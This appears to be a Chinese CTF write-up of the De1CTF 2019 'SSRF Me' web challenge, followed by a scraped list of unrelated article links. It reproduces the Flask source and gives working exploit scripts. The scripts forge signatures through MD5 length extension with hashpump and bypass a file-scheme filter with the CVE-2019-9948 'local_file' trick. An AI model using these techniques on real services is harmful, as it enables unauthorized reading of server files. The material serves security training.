[De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948
0x00
打开题目查看源代码,开始审计
这里贴上网上师傅的博客笔记:
https://xz.aliyun.com/t/6050
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sysi
mport os
import jsonreload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
笔记:
因为python 的 flask 框架,源码有三个路由。所以重点分析三个路由:
// 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。
action = urllib.unquote(request.cookies.get("action"))
// print(action)
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request
.cookies.get("sign"))
ip = request.remote_addr
// 这里通过 http协议的header头Cookies: action=123;sign=ss
// 还有URLPath的query: ?param=123
// 去设置 class Task 初始化实例时 调用的实例
if(waf(param)): // file protocol can be bypassed by use local-file:// (urllib cve)
return "No Hacker!!!!"
task = Task(action, param, sign, ip) // follow it
// task = Task(action, param, sign, ip)
// return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
print ip
// 读下Exec,简化下逻辑
// 首先self.checkSign() 第一重限制
// def checkSign(self): 核心 getSign(self.action, self.param) == self.sign
// def getSign(action , param) 核心:
// return hashlib.md5(secert_key + param + action).hexdigest()
// 然后分析下代码:
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) // here is vulunerability
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp // here,just print resp in server,dont't output user
tmpfile.write(resp) // save result to result.txt
tmpfile.close()
result['code'] = 200
if "read" in self.action: // so we must run it to output result
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
// 整理下整个题目的思路:
// 两个限制的绕过
// def waf(content) -----> local-file://
// def checkSign(self) ---> md5扩展攻击
// 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己 // 没写一些脚本去说明和简化这类型的通用解法
// https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍
// 趁着这次做题,补充下做题的工具做法
@app.route("/geneSign", methods=['GET', 'POST']) // get step1
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
// secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4)
// need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4)
// secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key
// /geneSign?param=local-file:///etc/pwd
// fe28521b6c224cad35396cacdb118890
// secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)
由以上可知:
index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战
我们解题思路:
大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,param=flag.txt,action 中要含有 read 和 scan,且 sign=md5(secert_key + param + action)
细节部分:
①:
传入一个param,/geneSign路由会返回的一个sign
②:
通过cookie得到一个sign,到时候回传到exec()中去跟getSign()产生的sign校验,所以这里直接传一个getSign()产生的sign。通过cookie传入一个action参数,看后面的Exec()可以知道action="readscan"。根据提示param=flag.txt,所以这个sign应该是md5('xxxflag.txtreadscan'),但是action在geneSign()写死了为"action"。
0x01 一:通过scan方法直接读取flag.txt
分析三个路由源代码发现:
①:geneSign()获得param参数,通过action和param生成签名
②:challenge()获得cookies中的action和sign,再去通过url传参获取param,并且使用Task对象,通过json返回Exec()方法
③:index得到源码
在执行Exec方法的时候,
所以只要我们后面传入的param和路由/De1ta下传入的param一样,然后action也等于scan。并且将/geneSign路由下返回的sign一样,就可以了。看scan这个方法,就是访问param的网址,并将其内容的前50个字母返回回来。
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
还有几处关键代码:
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
不妨假设 secert_key 是 xxx ,那么在开始访问 /geneSign?param=flag.txt 的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ,这就很有意思了。
直接构造访问 /geneSign?param=flag.txtread ,拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan') ,这就达到了目标。
注:
源码定义了action=scan.这在生成sign中是不可变的,又因为Exec方法中action必须有read和scan。所以定义为flag.txtread
所以我们构造flag.txtread。
直接访问 /De1ta?param=flag.txt 构造 cookie action=readscan;sign=aa734dd335784913abfaf29426003613 即可
0x02:解法二:CVE-2019-9948
这种方法据说才是预期解,以后记得要善用CVE库orz。。。
https://cve.mitre.org/
开始看题:
这个一开始真想不到。。看网上wp,
考点:
local_file
看到waf再看到check.startswith匹配开头file,先去搜下cve。
CVE-2019-9948:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9948
很明显有这个bug,我们跟进源码看看为啥。
然后简单看下urlopen方法
看到file 协议也是调用了封装的local_file协议
我们根据文件读取,可以读取/root/.history然后得到flag路径,就是local_file:///app/flag.txt
先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')
直接访问:
/geneSign?param=local_file:///app/flag.txt
得到
e9362f489e46dcb3d85f1d214ffd59b7
构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')
其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下也就是把secretkey+local_file:///app/flag.txt =>看成secretkey不就是和上面等价了吗
开始使用hashpump来生成我们的cookie进行扩展攻击
Input Signature: 2e327c850387a7df079d9ea80f6843bc
Input Data:scan
Input Key Length: 42
这里着重讲一下这个key长度
他和我们input的内容直接联系
首先这种方法我们Input为 secretkey+local_file:///app/flag.txt
所以我们计算一下长度:
C:\Users\hp>python
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:22:17) [MSC v.1500 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> print len("local_file:///app/flag.txt") + 16
42
所以长度为42
Input Data to Add: read
生成:18399a4edb0a072123e22c3873b9ad93
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read
使用脚本转换成urlencode:
str = r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')
结果:
scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read
在bp中
直接访问:
/geneSign?param=local_file:///app/flag.txt
并且cookie值替换为action=scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read;sign=18399a4edb0a072123e22c3873b9ad93
写个脚本:
import requests
url = 'http://web68.buuoj.cn/De1ta?param=flag.txt'
##将生成\x转换成%
cookies = {
'sign': '18399a4edb0a072123e22c3873b9ad93',
'action':'scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read'
}
res = requests.get(url=url, cookies=cookies)
print(res.text)
另一种计算keylength方法:
secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值,为 8370bdba94bd5aaf7427b84b3f52d7cb,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值
2e327c850387a7df079d9ea80f6843bc
Input Signature: 2e327c850387a7df079d9ea80f6843bc
Input Data: scan
Input Key Length: 24【secert_key 是一个长度为 16 的字符串+flag.txt】
Input Data to Add: read
18399a4edb0a072123e22c3873b9ad93
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
转换:
str=r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')
生成:scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
直接访问:
/De1ta?param=flag.txt
并且cookie值替换为action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=18399a4edb0a072123e22c3873b9ad93
exp:
import requests
url = 'http://60d99114-d326-40f2-be13-098d06ca8588.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': '18399a4edb0a072123e22c3873b9ad93',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
}
res = requests.get(url=url, cookies=cookies)
print(res.text)
0x03总结
关于 local_file :
参考 : https://bugs.python.org/issue35907
这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt 或 ./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替
如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file ,否则会报 ValueError: unknown url type: /path/to/file 的错误
注:
当不存在协议的时候,默认使用file协议读取。
可以使用local_file:绕过,例如 local_file:flag.txt路径就是相对脚本的路径 。
local_file://就必须使用绝对路径(协议一般都是这样)。
PS:local-file:///proc/self/cwd/flag.txt也可以读取,因为/proc/self/cwd/代表的是当前路径。
当然,这个题目不绕过协议也行
他默认就是
file协议
所以当我们需要绕过时
可以考虑local_file这种方法(第一种扩展攻击)
放个exp:
import requests
conn = requests.Session()
url = "http://139.180.128.86"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print resp
return resp
def challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan",filename.format(i),sign)
if("title" in resp):
a.append(i)
print resp,i
print a
参考链接:
https://xz.aliyun.com/t/5927#toc-3
https://xz.aliyun.com/t/6050#toc-7
[De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948的更多相关文章
- MD5的Hash长度扩展攻击
Hash长度扩展攻击 引子 无意中碰到一道题,大概代码是这样的 $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "XXXXXXX ...
- 哈希长度扩展攻击的简介以及HashPump安装使用方法
哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段.该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ ...
- 哈希长度扩展攻击(Hash Length Extension Attack)利用工具hexpand安装使用方法
去年我写了一篇哈希长度扩展攻击的简介以及HashPump安装使用方法,本来已经足够了,但HashPump还不是很完善的哈希长度扩展攻击,HashPump在使用的时候必须提供original_data, ...
- hash长度扩展攻击
这里面就放一张百度百科的解释吧,emmm 反正我是看不懂还是做一下题来巩固一下吧 CTF中的hash长度攻击 进入网页你会发现页面显示  我这里没有看到什么可以利用的,抓了一下包也没有什么有可以利 ...
- 实验吧——让我进去(hash长度扩展攻击)
题目地址:http://ctf5.shiyanbar.com/web/kzhan.php 在页面源码没发现什么,于是用burp进行抓包重放 看到有setcookie,于是重新刷新页面拦截数据包(这次才 ...
- 实验吧Web-中-让我进去(Hash长度扩展攻击、加盐密码及Linux下hashpump的安装使用)
打开网页,测试开始,注入费老大劲,看了大佬的blog才知道怎么干. bp抓包,观察发现cookie中有个source=0,在repeater中修改为source=1,然go一下,出来了一段源代码. $ ...
- 刷题记录:[De1CTF 2019]SSRF Me
目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...
- 刷题[De1CTF 2019]SSRF Me
前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...
- 实验吧_天下武功唯快不破&让我进去(哈希长度拓展攻击)
天下武功唯快不破 第一反应就去抓包,看到返回包的header中有FLAG的值,base64解码后得到下图所示 这就要求我们在请求头中post相应key的值,我直接在burp中尝试了多次都没有用,想起来 ...
随机推荐
- python正则表达式匹配多行
参数re.S jsProp = 'b' fpData = '''var a = []; var b = []; var c = [];''' .*是尽可能匹配多的 searchResult = r ...
- 【剑指Offer】面试题32 - III. 从上到下打印二叉树 III
题目 请实现一个函数按照之字形顺序打印二叉树,即第一行按照从左到右的顺序打印,第二层按照从右到左的顺序打印,第三行再按照从左到右的顺序打印,其他行以此类推. 例如: 给定二叉树: [3,9,20,nu ...
- Python3 格式化输出
Python3 格式化输出 今天用字符串功能的时候,我突然忘记了格式化输出的方式X﹏X.所以赶紧恶补一下. 1.打印字符串 print("My name is %s" %(&quo ...
- bzoj 1962: 模型王子
呵呵呵呵http://wenku.baidu.com/link?url=o0CPVzuBDLJMt0_7Qph1T7TtdFOzu7O-apIpvaWbIYMz8ZWqBneGqI8LGtLdqpuK ...
- 爬虫(十七):Scrapy框架(四) 对接selenium爬取京东商品数据
1. Scrapy对接Selenium Scrapy抓取页面的方式和requests库类似,都是直接模拟HTTP请求,而Scrapy也不能抓取JavaScript动态谊染的页面.在前面的博客中抓取Ja ...
- 六十六、SAP中代码格式化功能(SHIFT+F1)
一.在Delphi或PHP中,都有代码格式化工具,SAP中也有,如图 二,点击之后,没有任何反应,提示功能没有开启 三.在实用程序->设置中,选择好相关内容 四.勾选自己的相关设置 五.再点击代 ...
- Bean 注解(Annotation)配置(1)- 通过注解加载Bean
Spring 系列教程 Spring 框架介绍 Spring 框架模块 Spring开发环境搭建(Eclipse) 创建一个简单的Spring应用 Spring 控制反转容器(Inversion of ...
- UVA - 1605 Building for UN (联合国大楼)
题意:一个联合国大楼每层都有数量相等大小相同的格子,将其分配给n个国家,使任意两个不同的国家都相邻(同层有公共边或相邻层的同一个格子). 分析:可以设计一个只有两层的大楼,第一层每个国家占一行,第二层 ...
- java反射的学习
1.类的 类类型(ClassType) 类的类类型可以用来做很多事,我们可以通过它获取到类的名称,类的路径,类的成员变量,类的方法等等,还可以通过它获得类的实例化对象. 我们可以通过 类名.class ...
- java.sql.Date转换
---恢复内容开始--- JAVA 处理时间 - java.sql.Date.java.util.Date与数据库中的Date字段的转换方法,以及util包下的Date类与字符串的相互转换 在java ...